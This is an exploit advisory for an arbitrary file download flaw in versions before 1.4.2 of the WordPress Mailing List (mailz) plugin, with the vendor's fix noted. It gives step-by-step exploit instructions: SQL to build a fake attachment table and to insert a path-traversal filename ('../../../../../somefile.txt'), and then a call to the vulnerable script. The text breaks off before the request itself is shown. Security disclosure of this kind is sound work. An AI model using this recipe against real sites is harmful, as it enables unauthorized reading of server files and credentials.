#Exploit Title: Mailing List plugin for Wordpress Arbitrary file download
#Version: < 1.4.2
#Author: 6Scan (http://6scan.com) security team
#Software Link: http://wordpress.org/extend/plugins/mailz/
#Official fix: This advisory is released after the vendor (http://www.zingiri.com) was contacted and fixed the issue promptly.
#Description : Unauthorized users can download arbitrary files from the server using this exploit.
# Vulnerable script includes config.php file, which connects to database with supplied credentials. Database entries are used to retrieve files from host.
# The bug is in config.php, but accessible from other file.
1) Setup mysql database
2) Create table with the next structure:
CREATE TABLE IF NOT EXISTS `phplist_attachment` (
`filename` varchar(1024) NOT NULL,
`mimetype` varchar(1024) NOT NULL,
`remotefile` varchar(1024) NOT NULL,
`description` varchar(1024) NOT NULL,
`size` int(11) NOT NULL,
`id` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
3) Add this raw into database:
INSERT INTO `phplist_attachment` (`filename`, `mimetype`, `remotefile`, `description`, `size`, `id`) VALUES
('../../../../../somefile.txt', '', '', '', 0, 0);
4) Call the script with database parameters and file id to download:
The credentials are now saved in session, and there is no need to continue passing them: